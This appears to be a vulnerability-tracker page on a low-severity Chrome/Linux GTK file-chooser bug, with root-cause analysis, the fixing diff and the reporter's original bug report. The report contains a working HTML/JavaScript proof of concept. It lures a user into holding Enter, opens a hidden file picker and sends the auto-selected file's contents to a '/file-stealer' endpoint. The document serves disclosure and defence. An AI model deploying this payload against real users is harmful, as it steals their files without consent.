Low watch CVSS 5.4 chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Low
Severity
5.4
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInappropriate implementation in File input
DescriptionInappropriate implementation in File input
ComponentFile input
Sub-componentGTK
Bug ClassLogic Error
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker470928605
Fix commite93121e97478 (chromium/src) +13/-4
CWECWE-451
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L
CISA KEVNot listed
CreditedRobbe Van Roey | PinkDraconian
Reported2025-12-22 · bounty $1000 (per vendor advisory)
Fix landed2026-01-06 (public git)
Disclosed2026-02-10
Patch gap35 days — fix public in source before the advisory

Background

GTK file chooser
on Linux builds using the GTK backend, ui/gtk/select_file_dialog_linux_gtk.cc builds native open, folder-select and save dialogs via GtkFileChooserDialogNew, passing button label/response-ID pairs.
`GTK_RESPONSE_ACCEPT`
a negative, GTK-predefined response ID; per the new code comment, GTK preselects a button with this response as the dialog’s default, so pressing Enter activates it.
Application response IDs
GTK reserves negative integers for its own responses, leaving zero and positive values for application-defined ones that do not get this default-button treatment.
`kResponseTypeAccept`
a new constant equal to static_cast<GtkResponseType>(0) used as the accept button’s response ID.

Root Cause Analysis

The three dialog-construction sites in select_file_dialog_linux_gtk.cc (open file, select folder, save-as) registered the Open/Select/Save button with GTK_RESPONSE_ACCEPT, which GTK makes the preselected default button.

As a result, a user who was already holding Enter when the dialog appeared would immediately confirm it, accepting whatever file, folder or save target the dialog showed without making a deliberate choice. The violated invariant is that a security-relevant chooser should require an intentional user action, not inherit a keypress begun before it was displayed.

The fix replaces GTK_RESPONSE_ACCEPT with the application-defined kResponseTypeAccept (0) at all three sites so GTK no longer preselects the accept button, and relaxes the DCHECK in the response-handling function to accept either GTK_RESPONSE_ACCEPT or kResponseTypeAccept so the non-cancel path still works. The commit references the related file-chooser bug 435684924, tying this to the same “trick the user into accepting a file dialog” threat.

Key insight
Using GTK’s built-in GTK_RESPONSE_ACCEPT made the accept button the default, so a held Enter key auto-confirmed the dialog; switching to an application-defined response ID removes the default-button behavior.

Attack Path

  1. Lure the user into holding Enter a page instructs the user to press and hold Enter (e.g. as part of a fake game or prompt), per the commit comment describing this exploit.
  2. Open a file chooser while Enter is held, the page causes Chrome to show a native GTK file dialog (open, folder upload, or save; how the page triggers it is not shown in the diff).
  3. Default button auto-activates because the accept button used GTK_RESPONSE_ACCEPT and was preselected, the held Enter confirms the dialog with its current selection.
  4. Unintended selection returned the page receives a file or folder the user never deliberately chose, or a save target is confirmed (what exactly is preselected is inferred).

Impact Assessment

The vendor rates this low severity. The gain is user-interface bypass: a web page could obtain an unintended file/folder selection (e.g. an uploaded directory’s contents) or a confirmed save location without informed consent (data exposure inferred). Preconditions are a Linux build using the GTK dialog backend, the user being socially engineered into holding Enter before the dialog appears, and the dialog having a usable default selection; the advisory text provided does not report in-the-wild exploitation.

Files Changed

  • ui/gtk/select_file_dialog_linux_gtk.cc

Audit Directions

  • Default buttons on security dialogs
    check other native dialog backends (portal/KDE on Linux, Windows, macOS) and Chrome’s own permission/download prompts for a preselected accept action that a held key or queued input can trigger.
  • Input carried over from before display
    look for dialogs and prompts lacking an input-protection delay or key-repeat filtering, so keystrokes begun before the UI appeared cannot confirm it.
  • Renderer-triggered pickers
    review every web-reachable picker (file input, directory upload, File System Access, downloads “Save as”) for combinations of attacker-timed opening and a meaningful default selection.
From e93121e97478a41d529c8586a48b4ec34173f79a Mon Sep 17 00:00:00 2001
From: Tom Anderson <[email protected]>
Date: Mon, 05 Jan 2026 17:42:17 -0800
Subject: [PATCH] [GTK] Don't preselect file dialog accept buttons

R=thestig

Change-Id: I61cc29e0560af5dd433ea07c234b9813e3d72c74
Fixed: 470928605
Bug: 435684924
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7399531
Commit-Queue: Thomas Anderson <[email protected]>
Reviewed-by: Lei Zhang <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1564733}
---

diff --git a/ui/gtk/select_file_dialog_linux_gtk.cc b/ui/gtk/select_file_dialog_linux_gtk.cc
index f27859cf6..3894f327 100644
--- a/ui/gtk/select_file_dialog_linux_gtk.cc
+++ b/ui/gtk/select_file_dialog_linux_gtk.cc
@@ -43,6 +43,14 @@
 
 namespace {
 
+// GTK's internal response IDs use negative integers (eg. GTK_RESPONSE_CANCEL),
+// leaving zero and positive integers for application-defined response IDs. Use
+// zero for the accept response type since GTK will preselect
+// GTK_RESPONSE_ACCEPT as the default button, which should be avoided to prevent
+// an exploit where the user is instructed to hold Enter before the dialog
+// appears.
+constexpr GtkResponseType kResponseTypeAccept = static_cast<GtkResponseType>(0);
+
 // TODO(crbug.com/41469294): These getters will be unnecessary after
 // migrating to GtkFileChooserNative.
 const char* GettextPackage() {
@@ -413,7 +421,7 @@
     gfx::NativeWindow parent) {
   GtkWidget* dialog = GtkFileChooserDialogNew(
       title.c_str(), nullptr, GTK_FILE_CHOOSER_ACTION_OPEN, GetCancelLabel(),
-      GTK_RESPONSE_CANCEL, GetOpenLabel(), GTK_RESPONSE_ACCEPT);
+      GTK_RESPONSE_CANCEL, GetOpenLabel(), kResponseTypeAccept);
   SetGtkTransientForAura(dialog, parent, platform_);
   AddFilters(GTK_FILE_CHOOSER(dialog));
 
@@ -453,7 +461,7 @@
   GtkWidget* dialog = GtkFileChooserDialogNew(
       title_string.c_str(), nullptr, GTK_FILE_CHOOSER_ACTION_SELECT_FOLDER,
       GetCancelLabel(), GTK_RESPONSE_CANCEL, accept_button_label.c_str(),
-      GTK_RESPONSE_ACCEPT);
+      kResponseTypeAccept);
   SetGtkTransientForAura(dialog, parent, platform_);
   GtkFileChooser* chooser = GTK_FILE_CHOOSER(dialog);
   if (type == SELECT_UPLOAD_FOLDER || type == SELECT_EXISTING_FOLDER)
@@ -511,7 +519,7 @@
   GtkWidget* dialog = GtkFileChooserDialogNew(
       title_string.c_str(), nullptr, GTK_FILE_CHOOSER_ACTION_SAVE,
       GetCancelLabel(), GTK_RESPONSE_CANCEL, GetSaveLabel(),
-      GTK_RESPONSE_ACCEPT);
+      kResponseTypeAccept);
   SetGtkTransientForAura(dialog, parent, platform_);
 
   AddFilters(GTK_FILE_CHOOSER(dialog));
@@ -548,7 +556,8 @@
   if (is_cancel)
     return true;
 
-  DCHECK(response_id == GTK_RESPONSE_ACCEPT);
+  DCHECK(response_id == GTK_RESPONSE_ACCEPT ||
+         response_id == kResponseTypeAccept);
   return false;
 }
 
Loading diff…

Original Bug Report

reported by [email protected]

On Ubuntu (or other Linux-based systems) an attacker can steal files uploaded to other sites with little user interaction.


Report description

On Ubuntu (or other Linux-based systems) an attacker can steal files uploaded to other sites with little user interaction.


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules

Which URL (or repository) have you found the vulnerability in?

/


The problem

Please describe the technical details of the vulnerability

I discovered that on Ubuntu, whenever you’re uploading a file using a <input type=file>, the file selection window automatically opens the folder where from which the previous file upload across any site was made. Furthermore, it even selects the top file in that directory. I found that by tricking a victim into holding the Enter key on their keyboard, a malicious site could automatically select the previously uploaded file and send it to the attacker, without the user having a chance at stopping the attack.

The code below shows a simple PoC to reproduce the issue.

  1. First, go to any website that supports a file upload (In the attached video PoC, this is the example on https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input/file#using_file_inputs).
  2. Upload a file from any directory on the filesystem. This mimics a user who has uploaded a file to any site.
  3. Now browse to the attacker’s page. If you hold the Enter key on this page, it will automatically open the file picker window. The Enter key being held means that within that window the top file will be selected and uploaded instantaneously.
<p>Hold the "Enter" key</p>
<input type="file" id="fileInput" style="display:none;">
<script>
document.addEventListener('keydown', async e => {
  if (e.key === 'Enter') {
    const fileInput = document.getElementById('fileInput');
    fileInput.click();
    fileInput.addEventListener('change', function() {
      const file = this.files[0];

      console.log('File name:', file.name);
      console.log('File size (bytes):', file.size);
      console.log('MIME type:', file.type);

      const reader = new FileReader();
      reader.onload = function(e) {
        console.log('File content:', e.target.result);
        fetch('/file-stealer?file=' + e.target.result);
      };
      reader.readAsText(file);
    });
  }
})
</script>

I believe that tricking a user into holding the Enter key is a trivial user interaction to achieve. The video PoC that I’ve attached shows a site that is dressed up a bit more and that requires the holding of this key to load, however one could also easily envision a game where the enter key is used to speed up a car, and thus held.

As a user, I’d like to know that I can safely hold any key on my keyboard without that causing my last uploaded file to be stolen.

Impact analysis

Any remote attacker can host a malicious site that allows the stealing of files uploaded to other sites.


The cause

What version of Chrome have you found the security issue in?

143.0.7499.169

No, it is not related to a crash.

Choose the type of vulnerability

Site Isolation Bypass

How would you like to be publicly acknowledged for your report?

Robbe Van Roey | PinkDraconian

View on issue tracker